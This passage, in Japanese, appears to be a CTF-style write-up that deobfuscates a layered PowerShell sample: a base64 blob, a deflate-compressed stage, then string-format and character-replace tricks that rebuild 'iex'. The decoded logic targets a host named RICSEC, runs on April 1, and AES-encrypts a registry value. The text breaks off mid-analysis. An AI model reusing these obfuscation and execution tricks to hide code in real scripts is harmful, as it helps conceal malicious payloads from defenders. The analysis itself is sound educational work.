ABIAHgAdQBNAFgAUAAzAEUAbQAzAG4AVgBwAFkARwAyAFIAeABnAGIAZgBjAEMASwBnAEQAWgBUAHUANgBpAFEAOQBxAHYASAA3AEkAbwAvAFIAVgBpAHMANwBZAFkASABsAFUANABlAGQASABLAGkAMgBaAGUAdABQAFAAQwB6AFEAcwA3AEwAeABwADUAYwBaAFkAWABZAEIAVQA4AC8AQwBjACsAYgBHADAAcAAyAGcAYQBSAEEARABiAHEAUwBuAGwAMgB3AFkAbwBOAFYARgBMAGIAdQBkAEMAVwBYAHAATAB5AHAAKwBnADkAVQBUAGYAegBIAGoANgBiAE8AWQBTAHkAMwBHAEQATABHAGIALwBoAFAAMQBhAGQAegBtAHMAdgA2AHcALwA4AHYAZgBIAHYAMQBZADAASgBaAHYAeQBOAG8AOABrADMAYQA5AFYAMABhAGsAMgA3ADUAaQAzADcALwBoAFEAcwBVAHYATAB6AG0ATgAvAGkANAByAHEAMABOAEsAcwAxAFcARQAyAEMAQgBuADkASgAzAHUATgBoAG4AUwA3AGQAeAAwAEYASwBOADAAbgA3AEUAbAB2AEcAOQB6AGsAegBiAGYAYgBHAEwAWABZAEkAcgB1AG8AbQB6ADQASQByAEsAKwBNADMAQgBuAHUASwBBADQAdAA1ADcARQAwAFMARgB3AE0AaAA5ADQASwBzAGMAdQBEAFEANgBFAFgAYwAxAHAATQBLAG0AYwBWADMAZQBaAGMAUwBlADMATABsAFQAcQBPAGkAbQBvAEwASQA1AHYAeABHAHEANQA0AGQATABvAFcANQByADkAWABwAG4ANABZAHMANwBvAFIAawB3AEkATgA5AFEASwBiADAARgA3ACsAbQBJADYAdwBUAC8ARQBMAHgAQwBIAEQAaABrAFQAQwB5AHMAQQBiADUAZgBxAGYAOQBFADMAeABrADYAMgBUAHUAVAAzAFkAdgBTAHIAegBBAHIAdABYAGwAMQA0AHMAKwBIAFEAbgA0AEUAeQB4AFMAUwBlAEcAZgBWADQAWAAyAHoANgA4AFgAZAAvAFgAcwBVADcASAB6AFIAYgAxADgAKwBQADYAZwA0AGkAaAA2AFYAbQBzAGMAUABTAFYAaABUAEIAZABBAEcAQwB5ADYAeQBlAEoAawBkAEcASgBUAFkAdwAwAHYARAB3AHkARAB3AGEATwBNAHoARQBGAGgASQBvAEIAMABlAEQAUABJAEYAcwBuAFcAWAB5ADgASQBaAFYAcgBmAGsAaQBoAG0AMAB1AGsAbQBPADAAcwB6ADkAdABWAGcAdwB4AEgARQAxAGcAcwB1AFAAVQBGADYAMABwAFAAZwBrAHQASgAwADkANwBEAEoAOABNAFEAeABvAEsARwBEAG8AUABCAHkAVwBKAFgAaQBxADcAZwBDAGkAWgBEAFEAVgBWAHkAbQB3AFgARQBBAGcAZwBhAGkAKwAxAHcAWQBYAGUAUgBLAEYAaQBxAHQASABpAGYAVwBCAHgAKwBMAGQAQwBGAFAAcABNAGsAYQBEAHEAYwBRADEAdQBlAFAAdABqAGEAbwBxACsAMABNADIAagAzADIAeAB0AGQAdQA4AGUAUgBMAG8ANQBJAEgARgArAC8AawBtAEMAZQBpADEAcwA5AFgAaQBUAGoAMQBrAGIAbgBNADEARwA4AFMAdQBDAEUAUgA2ACsAegBrADkATQBxADAAYgB4AEUATgBvAEoAZQBJAEQAdABmAE0ARwBJADQAZQBlAFAAegBlADYAVQA5AEcAMAA3AHUARgBQAHgAdgAzAFIAagA2AHoAKwBCAHUAWgBlAEQAYgBzAHoALwAwACsAWgBZACsAKwBqAEEAUgBGADcAeQBsAFgATQB1AGYASgBTAFgAUwBLAFkASgBWAHIAdABqAHQAbwA1AGUAYgBhADMAOAA4ADYAVwBTAEYAcgBqAEYAZQBZAEQAbABXAGUAUQBiAGgAYwBQAGMAZgBEADIAVwBLAFAANgB1AFEAMQBKAGEAWgBxADIANwBhAEMAdgBJAGEAQwBEAEkAcABnAEgAdgBhADIAVQA3AEoALwBTAGoANABTAFIAcgB4AFcAVQBwAE4ATgBSADAARgAzAGEAbAAzADAAagAvAGsAaQBnAGoAYgBaAEoAMgBrAFkASwBlAFMAbwBwAFkAQgBrAG8ANwBWAHAASgBaAHQATQBnAGYAMwB2AG0AaQB1AFoAdAB4AFMAVQBCAGgAOQBsAHQAYQBEADkAUwA1AGgAcwBMADcAZQBCAE8ASgBXAFYAVQBOAGMAcwBWAGYAdABrAHMAVgBOAEkAUgA2ADAAeQBLAGUARgBWAEcAWQBYADgAMQB6AGEANABsADcAVQAxADUAbQBWAGUAUABjAG0ATQBSAGwARwBYAFQARgBwAEkAbQBkAFcATQB2AHcAWQA2AFIAZABWAFoASABGADIALwBJAHIAUQAwAHAAeQBvAEMAVgBIAE4AUABiADYAWQA4AG4AMgAvADQANwBlADMAdwBhAG0AbQB2AHEAbgBBACsANwBiAFkAUgBkAHUAaQA5ADEASABzAG8AZQBvAHEAdQBMAEYAcQBCAHIAdQB3ADYAVQBiAFcAcAArAEgATQBRAEsANwBIAEIAcQBOAFYAMABlAGcAbwAvAG0ATgBjAFAAcABlAE0AaABBADYAcABTAEIAYgA4AHIAeQB3AEsAeQBYAHAAMQB2AFIATwBoAFEAbgBJADgAbQBZAGUAYwArADUAbgBnAEwATQArAHAASQBWAGIATgBkADkAaQB0AEgAQgBJAEwAbwBVAHcAMABOAE4AVABWAGsAOABIADcAdgBkAHUAbwBqAHAAbABzAEkASgBVAGgAYQBpAEsAZwBmAG4AUABTAGUAaAB0AFoAZAAyAGUAMgAzAFkAcwA2ADEAdAB4AFcAUgBEAG4ASwB6ADMAVgBxAGwAUABZAHEAKwA5AHAAawBDAEcAbwA0AHQASQBWAGcAKwBEAEwAYQBnADEAUABYADMAbwBKAGcAdgBNAC8ANgAvAFoAUgBnAGYAWgBBADQAcQA3AGoAdwBBADIARgBGAFUASABmAHYANwA4AEoALwAyAG4AaQBLAEIAWABSAFEAdgB1AHAAZABmAGoAVABuAFIAcgBtAFcAVQBJADEASABFADMAVABXAFIAdQBEAHIARgAxAHMAZgBHADIAUgBaAE4AMQBoAE4AOQBWAGcAYQBkAFEANQBXAEkAKwBxAHcAcgAxAFoAWQBWAGkAYwBKAFUANgAvAHoAWgBPAFkAMABVAFcAMABUAEsAbQBaAEQAZwBDAFEAbQB0ADMAeABpAGYAUgBTADAAeQBMAHUAVABnAHcAVgBqAFgAWgBEAHIAWQA2AFYAdwBiAFkAeABLAE8ATQBkAEIAOQArAG0AVQBOAGkAMgBUAE8AagBmAHoASgBwADgANwBPAFkAMgByAHgAVgBQAGgATAB1AGwAbwBPAE8AbgBKAHEASQBhADgAZQBXADIAegBUAHIAdABjAGIARgBFAFgAdgBRACsAMQBOAFUASwA1AFcAUwA3AFMAKwB4ADIAVgBYAFIAVgBIAHAAUgBaAEkAOAAxAHAAUgBQADIAbAByADEAawBiADkAUQA4AFAANQBoAHIAMQBTAG4AZgByAGMANwBUAGkAMAA2AHUATgBNAHAAMQA2AFcANwBmAHQAagBzAEEAbAAzAEsAWABuAFgATABFAG0AYgBYADQAVgA4ADQAdAByAEEAMwBWAGYAKwAyAHMASwBFAG4AagBHAC8AYgB3AHEAeABhAGkAUgBKAHkAaABiAE0AYQB4AHoANQBSADMAdgB2AHoAVQBmAGQAUwAyAFMAOQBVAEsAUwAzAGQATABOAFAAWgBLAFUATwBLAGIAQwBMAGIAVgBMAEcAaQBXAHAASABkAEkARwBiADAARwBDAE4AaQA2AFcAOAA5AEwANQBLAGQAcgBXAE8AZgBLADkAKwB1AEEARgB2AFgAQwB0AEgAbQBUAGoAbwBZAHgANQBzAHMAOQBSAEwAOQBvAGcAOQArAEwAUABwAC8ARABHADYAcQBYAFcANwAyAHUARgBYAFAAcwBuAGcAbAAwAEgAbwBjAFMASwBrAE4AaQBOAEQAUQBUAFAASgBhAE8AYQBvAEUAYQBrAFoAQwBpAHoANABPAHYAOQAzAGkAWABtAGoAQgBaAE4AOABxADgAegBjADkAcgBlADgAbgBvADUARgBXAHIAbgBSAG4AbwBtAE4AZQBZACsARAB6AE0AUABhAFAASQA0ADAAdQAyAEYAUwB3AFYAQwB6AEMAawBqAFQAUAA2AEoARwBWAG4AcgBmAGkAMAA0AGYARgBrAHUARgAvAE0AYwBJADQAOQBwAEcALwBTAHQAMQBnAGkAQQA4AEIAYgArADEAOQB4ADkAOAArAEIAdQBnAFgAOQA1AFEAMQBqAEwAMwA2ADIAZABDAEMAdABMADUAMgBLAFcAQQA5AGQANABuAFMAUQBkAHAAbABXADAAdgBOADgAbwAwAEwAQQBCAFgAVAB0AEYASQArADMAUQBZAGgAWgB4AFgAVQB4AEUAcAB0AEcAVwA2AEMAMgBjAHAAMgBQAE0AYgBLAEUAMQBaAEIAYwA5AFoASAByAG0AZQBGAE0AeAB6ADAANgBNAEIAUQA1AEEAMgB2AEsAcQBGAHoAVgB3AEYAbgBqAHEAawBaADIAawBlAEcAQwBxAHAAdgBLAGEAaABsAE0AdgBNAC8AJwApACAALAAgAFsAcwBZAFMAdABFAE0ALgBJAE8ALgBjAG8AbQBQAHIAZQBzAHMAaQBvAG4ALgBjAE8AbQBwAFIAZQBTAHMASQBvAE4AbQBPAGQAZQBdADoAOgBEAGUAQwBvAG0AcAByAEUAUwBTACkAfAAlAHsAIABOAEUAVwAtAG8AQgBqAEUAQwB0ACAASQBvAC4AUwB0AFIARQBBAE0AUgBlAGEAZABFAFIAKAAgACQAXwAgACwAWwB0AEUAeAB0AC4AZQBuAEMATwBEAGkATgBnAF0AOgA6AGEAUwBDAEkASQApACAAfQAgACkALgByAGUAYQBEAHQAbwBFAE4ARAAoACkAIAA=

ここまで来ると安心感ありますね。
これが"Power"か…
From base64 -> Decode text (UTF-16LE (1200))のレシピでCyberChefでデコードすると以下のような感じになる。

& ( $PsHOme[4]+$psHoME[34]+'X')( NEW-oBjECt IO.COmPrEssioN.DeflatESTreaM([syStEM.Io.MemORYStreAM] [CoNvErT]::fRoMBASe64StRiNg('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') , [sYStEM.IO.comPression.cOmpReSsIoNmOde]::DeComprESS)|%{ NEW-oBjECt Io.StREAMReadER( $_ ,[tExt.enCODiNg]::aSCII) } ).reaDtoEND() 

deflateで圧縮されたものがbase64エンコードされているので、これもCyberChefで展開する。
From Base64 -> Raw Inflate

. ( $vErbOsePrEFeReNcE.TosTrIng()[1,3]+'X'-jOiN'')(((("{29}{5}{38}{55}{1}{46}{27}{2}{26}{33}{31}{43}{21}{9}{6}{32}{28}{39}{34}{15}{18}{54}{53}{16}{47}{8}{51}{13}{50}{25}{37}{36}{52}{23}{22}{3}{19}{4}{30}{57}{49}{0}{58}{20}{40}{42}{41}{24}{45}{12}{44}{11}{48}{10}{17}{56}{7}{14}{35}"-f'{PUxrohSH+hSHxb-]}i{hSH+hSHPUx[}b{PUx=]}i{PUx[}B{PUx{)++}i{PUx;FIahTvYJGnEvYJL','hSH eCalpeR-43]RahC[,)07]RahC[+37]RahC[+79]RahC[( eCalpeR- 63]','H;};006 sdnoceS- )pkilS-tratSpki,pk','pkitppki,pkiyrC.ytirucpkif- FIa}2{}6{}5{}9{}3{}1{}0{}7{}','i,pkiejpki f-FIa}2{}0{}1{FIa(.hSH+hSH = }hvYJhSH+hSHS{PUx;)pkiredivopki,pkieApkihS',' {( [ReGeX]::mAtCHEs(ZDG)hSHhSHNiOJ-]52,51,4[CEP','SH+hSHgNeLFIa.}b{PUx ,0 ,}b{PUx(ekovnI.)pkisnarpkih','hSH+hSHtes{ )1 qe- yaD.)etaD-teG( dna- 4 q','hSH}H{PUx = FIayevYJkFIa.}A{PUx;))}K{PUx(ehSH+hSHkovnI.)pkisphSH+hSHki,hSH+hSHpkiteGpki,pkietyBpkif-FhSH+hSHIa}2{}0{}1{FIa(.}U{PUx(FIaHsahvYJETuPMvYJOvYJcFIa.}hSH','YJh','SH','Hp','i,pkiawtfoSEOpkhSH+hSHi,pkifpki,pkiFTCEOpki,pkix','}H{PUx;)pkimpki,pkiE8FTU.txhSH+hSHeT.pki,pkietsySpki,pkigpki,pkinidocnpkif','e- htnoM.)etaD-teG((fihSH(( ZDG ,hSH.hSH ,hSHrIGHtTolEfThSH )-Join hSHhSH) 7rt &( IM','.}e{PUx =','H+hSH= FhSH+hSHIaVvYJIFIa.}A{PUx;','+hSHa}4{}2{',' }DvYJe{PUx;hSH+hSH)(e','4{}01{}8{FIa( )pkitcpki,pkibO-weNpk','PUx(rof;))pkirpki,pkibb1fpki,pki3pkhSH+hS','spki(&;}dE{PUx;)FIaHTv','idpki,','H+hSHi,pk','PER-  )hSH+hSH)pk','I','ippki,pkiee','rC- )hS','ki','if (IMYenv:COMPUTERNAME -eq ZDGRICSECZDG)','H+hSH,pkiivrepki,pkiSophSH+hSHki,pkispki,pkitpyrpki,pkiS.pki,pkigopki,pki','N- ))29]RaHc[]gnIRTs[,)45]RaHc[+111]RaHc[+401]RaHc[((FIaecAlPvYJerFIa.))pkiFpki,pkioh:pki,pkiUpki,pkiTChSH+hSHpki,pkifosorcihSH+hSHM6hSH+hSHohepki,pki6ohtpki,pkiCKHpki,pkioS6pki,pkiraw','SH+hSH,pkikcolBlapki,p','pkihSH+hSH f- FIa}1{}0{}hSH+hSH2hSH+hSH{FIa(.;}de{PUx eulaV- )pkineifpki,pkidpkif-FIahSH+hSH}hSH+hSH0{}1{FIa( ema','i,pkihSH+hSHniFmrofpkif-FIa}2{}0{}3{}1hSH+hSH{FIa(','YSheLLID[1]+IMYSheLliD[13]+hSHxhSH)};','hSHapki,pkiySpki,pkiepki,pkieganhSH+hSHaM652Apki,pkiHS.ypki,pkiS.','a(. = }U{PUx;)pkietspki,pkihphSH+','sMOc:VneIMY (.7rt)93]RahC[,)211]RahC[+701]RahC[+501]RahC[(eCALPErC-69]R','Tpk','Hif- FIa}2{}0hSH+hSH{}1{FIa((ekovnI.)pkisetpki,pkihSH+hSH','H+hSH)96]rAHc[+97]rAHc[+021]rAHc[( ecal','Gpki,pkiyhSH+hSHBtepkif-FhSH+hSHIa}2{}0{}1{FIa(.FIaiivYJcSaFIa:hSH+hSH:1KIQ9sPUx  =}k{PUx;FIaDNeivYJfFIa.))29]rAHc[,hS','pki,pkitfpki f-FIa}9{}6{}4{}5{}1{}0{}2{}8{}7{}3{FIa((( )pkip','tpki,pkix:pkif-FIa}2{}1{}3{}7{}5{}4{}0{}6{FIa((( )pkipgpki(&(=}B{PUx  ;) hSH+hSH )pkiGpki,pkiOcNE.TxEhSH+hS','iosorciMEOxpki,pkiUCKHpki,pkierpk','RahC[,hSHPUxhSH eCALPE','hSH+hSH51..0 = }vIhSH+hSH{PUx]][etyb[;hSH+','kihSH+hSH,pkiNIhSH+hSHdpki,pkit.METpki,pkisYspkif-FIh','pyrC.ytirucepki,pkirPecpki,pki.yhparpki,pkimetsySpki f-FIhSH+hSHa}21{}2{}01{}9{}7{}4{}8{}11{}1{}hSH+hSH5{}hSH+hSH3{}6{}0{FIa( )pkicepki,pkijbOpki,pki-weNpki,pkitpki f-FIa}0{}3{}2{}1{FIa(. = }A{PUx;}]FIahtGvYJNeLFIa.}k{PUx%}i{PUx[}k','- FhSH+hSHIhSH+hSHa}hSH+hSH1{}0{}3{}4{}2{FIa( )pkitcejbO-pki,pkiNpki,pkiwephSH+hSHkif-FIa}2{}0{}1{F','+hSHhs{PUhSH+hSHx = ','mpki,pkirgopkhS','2{}0{}1{}3{}4{FIa(.}a{PUx = }e{hSH+hSHPUx;}Vi{PUx hS','kovnI.)pkirChSH+hSHpki,hSH+hSHpkithSH+hSHaepki,pkirotpki,pkiepki,pkipyrcnEpkhSH+hSHi f- FIa}','ahC[,hSHvYJ','}3{}1{}0{FIa(]ePYT[  (  )pki1pkhSH+hSHi+pkikIpki+pkiq9s:ElbairaVpki(  mEtI-','Cpki,pkit','FIa.}hSH+hSHB{PUxtl-}i{PUx;0=}i{'))-rePlace '7rt',[chaR]124  -rePlace  'ZDG',[chaR]34-cRePlAce  ([chaR]104+[chaR]83+[chaR]72),[chaR]39-cRePlAce 'IMY',[chaR]36) )

これを手動であれこれするのは大変そうなので、良い感じの環境で雑に動かして展開していく。
とりあえず最初の部分は

PS> $vErbOsePrEFeReNcE.TosTrIng()[1,3]+'X'-jOiN''
ieX

といういつもの感じなので、後半部分を文字列化して取り出してくる。
取り出し方として、ちゃんと手動解析してもいいが、隔離環境で雑に実行して取り出してきた。
リチェルカセキュリティに狙われている可能性もあるので、動かす環境には注意すること。

if ($env:COMPUTERNAME -eq "RICSEC") {( [ReGeX]::mAtCHEs(")''NiOJ-]52,51,4[CEPsMOc:Vne$ (.|)93]RahC[,)211]RahC[+701]RahC[+501]RahC[(eCALPErC-69]RahC[,'vYJ' eCalpeR-43]RahC[,)07]RahC[+37]RahC[+79]RahC[( eCalpeR- 63]RahC[,'PUx' eCALPErC- )';};006 sdnoceS- )pkilS-tratSpki,pkippki,pkieepki'+' f- FIa}1{}0{}'+'2'+'{FIa(.;}de{PUx eulaV- )pkineifpki,pkidpkif-FIa'+'}'+'0{}1{FIa( emaN- ))29]RaHc[]gnIRTs[,)45]RaHc[+111]RaHc[+401]RaHc[((FIaecAlPvYJerFIa.))pkiFpki,pkioh:pki,pkiUpki,pkiTC'+'pki,pkifosorci'+'M6'+'ohepki,pki6ohtpki,pkiCKHpki,pkioS6pki,pkirawpki,pkitfpki f-FIa}9{}6{}4{}5{}1{}0{}2{}8{}7{}3{FIa((( )pkipspki(&;}dE{PUx;)FIaHTvYJ'+'gNeLFIa.}b{PUx ,0 ,}b{PUx(ekovnI.)pkisnarpki'+',pkikcolBlapki,pkiTpki,pki'+'niFmrofpkif-FIa}2{}0{}3{}1'+'{FIa(.}e{PUx = }DvYJe{PUx;'+')(ekovnI.)pkirC'+'pki,'+'pkit'+'aepki,pkirotpki,pkiepki,pkipyrcnEpk'+'i f- FIa}2{}0{}1{}3{}4{FIa(.}a{PUx = }e{'+'PUx;}Vi{PUx '+'= F'+'IaVvYJIFIa.}A{PUx;'+'51..0 = }vI'+'{PUx]][etyb[;'+'}H{PUx = FIayevYJkFIa.}A{PUx;))}K{PUx(e'+'kovnI.)pkisp'+'ki,'+'pkiteGpki,pkietyBpkif-F'+'Ia}2{}0{}1{FIa(.}U{PUx(FIaHsahvYJETuPMvYJOvYJcFIa.}'+'hs{PU'+'x = }H{PUx;)pkimpki,pkiE8FTU.tx'+'eT.pki,pkietsySpki,pkigpki,pkinidocnpkif- F'+'I'+'a}'+'1{}0{}3{}4{}2{FIa( )pkitcejbO-pki,pkiNpki,pkiwep'+'kif-FIa}2{}0{}1{FIa(. = }U{PUx;)pkietspki,pkihp'+'apki,pkiySpki,pkiepki,pkiegan'+'aM652Apki,pkiHS.ypki,pkiS.mpki,pkirgopk'+'i,pkidpki,pkitppki,pkiyrC.ytirucpkif- FIa}2{}6{}5{}9{}3{}1{}0{}7{}4{}01{}8{FIa( )pkitcpki,pkibO-weNpki,pkiejpki f-FIa}2{}0{}1{FIa(.'+' = }hvYJ'+'S{PUx;)pkiredivopki,pkieApki'+',pkiivrepki,pkiSop'+'ki,pkispki,pkitpyrpki,pkiS.pki,pkigopki,pkiCpki,pkitpyrC.ytirucepki,pkirPecpki,pki.yhparpki,pkimetsySpki f-FI'+'a}21{}2{}01{}9{}7{}4{}8{}11{}1{}'+'5{}'+'3{}6{}0{FIa( )pkicepki,pkijbOpki,pki-weNpki,pkitpki f-FIa}0{}3{}2{}1{FIa(. = }A{PUx;}]FIahtGvYJNeLFIa.}k{PUx%}i{PUx[}k{PUxro'+'xb-]}i{'+'PUx[}b{PUx=]}i{PUx[}B{PUx{)++}i{PUx;FIahTvYJGnEvYJLFIa.}'+'B{PUxtl-}i{PUx;0=}i{PUx(rof;))pkirpki,pkibb1fpki,pki3pk'+'if- FIa}2{}0'+'{}1{FIa((ekovnI.)pkisetpki,pki'+'Gpki,pkiy'+'Btepkif-F'+'Ia}2{}0{}1{FIa(.FIaiivYJcSaFIa:'+':1KIQ9sPUx  =}k{PUx;FIaDNeivYJfFIa.))29]rAHc[,'+')96]rAHc[+97]rAHc[+021]rAHc[( ecalPER-  )'+')pkiosorciMEOxpki,pkiUCKHpki,pkierpki,pkiawtfoSEOpk'+'i,pkifpki,pkiFTCEOpki,pkixtpki,pkix:pkif-FIa}2{}1{}3{}7{}5{}4{}0{}6{FIa((( )pkipgpki(&(=}B{PUx  ;) '+' )pkiGpki,pkiOcNE.TxE'+'pki'+',pkiNI'+'dpki,pkit.METpki,pkisYspkif-FI'+'a}4{}2{}3{}1{}0{FIa(]ePYT[  (  )pki1pk'+'i+pkikIpki+pkiq9s:ElbairaVpki(  mEtI-'+'tes{ )1 qe- yaD.)etaD-teG( dna- 4 qe- htnoM.)etaD-teG((fi'(( " ,'.' ,'rIGHtTolEfT' )-Join '') | &( $SheLLID[1]+$SheLliD[13]+'x')};

標的型っぽく、RICSECというコンピュータだけを狙ったものみたい。
いや、サンドボックスで動かしただけではわからないようにしてあるということかも。
適当に探すと、いつものiexが出てくる。

PS> $SheLLID[1]+$SheLliD[13]+'x'
iex

先ほど同様に、前半を実行して文字列化してくる。

(('if((Get-Date).Month -eq 4 -and (Get-Date).Day -eq 1) {set'+'-ItEm  (ikpVariablE:s9qikp+ikpIkikp+i'+'kp1ikp)  (  [TYPe](aIF{0}{1}{3}{2}{4}a'+'IF-fikpsYsikp,ikpTEM.tikp,ikpd'+'INikp,'+'ikp'+'ExT.ENcOikp,ikpGikp) '+' );  xUP{B}=(&(ikpgpikp) (((aIF{6}{0}{4}{5}{7}{3}{1}{2}aIF-fikp:xikp,ikptxikp,ikpOECTFikp,ikpfikp,i'+'kpOESoftwaikp,ikpreikp,ikpHKCUikp,ikpxOEMicrosoikp)'+')  -REPlace ([cHAr]120+[cHAr]79+[cHAr]69)'+',[cHAr]92)).aIFfJYvieNDaIF;xUP{k}=  xUPs9QIK1:'+':aIFaScJYviiaIF.(aIF{1}{0}{2}aI'+'F-fikpetB'+'yikp,ikpG'+'ikp,ikptesikp).Invoke((aIF{1}{'+'0}{2}aIF -fi'+'kp3ikp,ikpf1bbikp,ikprikp));for(xUP{i}=0;xUP{i}-ltxUP{B'+'}.aIFLJYvEnGJYvThaIF;xUP{i}++){xUP{B}[xUP{i}]=xUP{b}[xUP'+'{i}]-bx'+'orxUP{k}[xUP{i}%xUP{k}.aIFLeNJYvGthaIF]};xUP{A} = .(aIF{1}{2}{3}{0}aIF-f ikptikp,ikpNew-ikp,ikpObjikp,ikpecikp) (aIF{0}{6}{3'+'}{5'+'}{1}{11}{8}{4}{7}{9}{10}{2}{12}a'+'IF-f ikpSystemikp,ikpraphy.ikp,ikpcePrikp,ikpecurity.Cryptikp,ikpCikp,ikpogikp,ikp.Sikp,ikpryptikp,ikpsikp,ik'+'poSikp,ikperviikp,'+'ikpAeikp,ikpoviderikp);xUP{S'+'JYvh} = '+'.(aIF{1}{0}{2}aIF-f ikpjeikp,ikpNew-Obikp,ikpctikp) (aIF{8}{10}{4}{7}{0}{1}{3}{9}{5}{6}{2}aIF -fikpcurity.Cryikp,ikpptikp,ikpdikp,i'+'kpogrikp,ikpm.Sikp,ikpy.SHikp,ikpA256Ma'+'nageikp,ikpeikp,ikpSyikp,ikpa'+'phikp,ikpsteikp);xUP{U} = .(aIF{1}{0}{2}aIF-fik'+'pewikp,ikpNikp,ikp-Objectikp) (aIF{2}{4}{3}{0}{1'+'}a'+'I'+'F -fikpncodinikp,ikpgikp,ikpSysteikp,ikp.Te'+'xt.UTF8Eikp,ikpmikp);xUP{H} = x'+'UP{sh'+'}.aIFcJYvOJYvMPuTEJYvhasHaIF(xUP{U}.(aIF{1}{0}{2}aI'+'F-fikpByteikp,ikpGetikp'+',ik'+'psikp).Invok'+'e(xUP{K}));xUP{A}.aIFkJYveyaIF = xUP{H}'+';[byte[]]xUP{'+'Iv} = 0..15'+';xUP{A}.aIFIJYvVaI'+'F ='+' xUP{iV};xUP'+'{e} = xUP{a}.(aIF{4}{3}{1}{0}{2}aIF -f i'+'kpEncrypikp,ikpeikp,ikptorikp,ikpea'+'tikp'+',ikp'+'Crikp).Invoke()'+';xUP{eJYvD} = xUP{e}.(aIF{'+'1}{3}{0}{2}aIF-fikpformFin'+'ikp,ikpTikp,ikpalBlockikp,'+'ikpransikp).Invoke(xUP{b}, 0, xUP{b}.aIFLeNg'+'JYvTHaIF);xUP{Ed};&(ikpspikp) (((aIF{3}{7}{8}{2}{0}{1}{5}{4}{6}{9}aIF-f ikpftikp,ikpwarikp,ikp6Soikp,ikpHKCikp,ikptho6ikp,ikpeho'+'6M'+'icrosofikp,ikp'+'CTikp,ikpUikp,ikp:hoikp,ikpFikp)).aIFreJYvPlAceaIF(([cHaR]104+[cHaR]111+[cHaR]54),[sTRIng][cHaR]92)) -Name (aIF{1}{0'+'}'+'aIF-fikpdikp,ikpfienikp) -Value xUP{ed};.(aIF{'+'2'+'}{0}{1}aIF -f '+'ikpeeikp,ikppikp,ikpStart-Slikp) -Seconds 600;};') -CrEPLACe 'xUP',[ChaR]36 -ReplaCe ([ChaR]97+[ChaR]73+[ChaR]70),[ChaR]34-ReplaCe 'JYv',[ChaR]96-CrEPLACe([ChaR]105+[ChaR]107+[ChaR]112),[ChaR]39)|.( $enV:cOMsPEC[4,15,25]-JOiN'')

iexポイントはここ。

PS> $enV:cOMsPEC[4,15,25]-JOiN''
iex

ということで前半を抜き出して文字列化すると、いよいよ分かりやすい感じで出てくるようになる。

if((Get-Date).Month -eq 4 -and (Get-Date).Day -eq 1) {
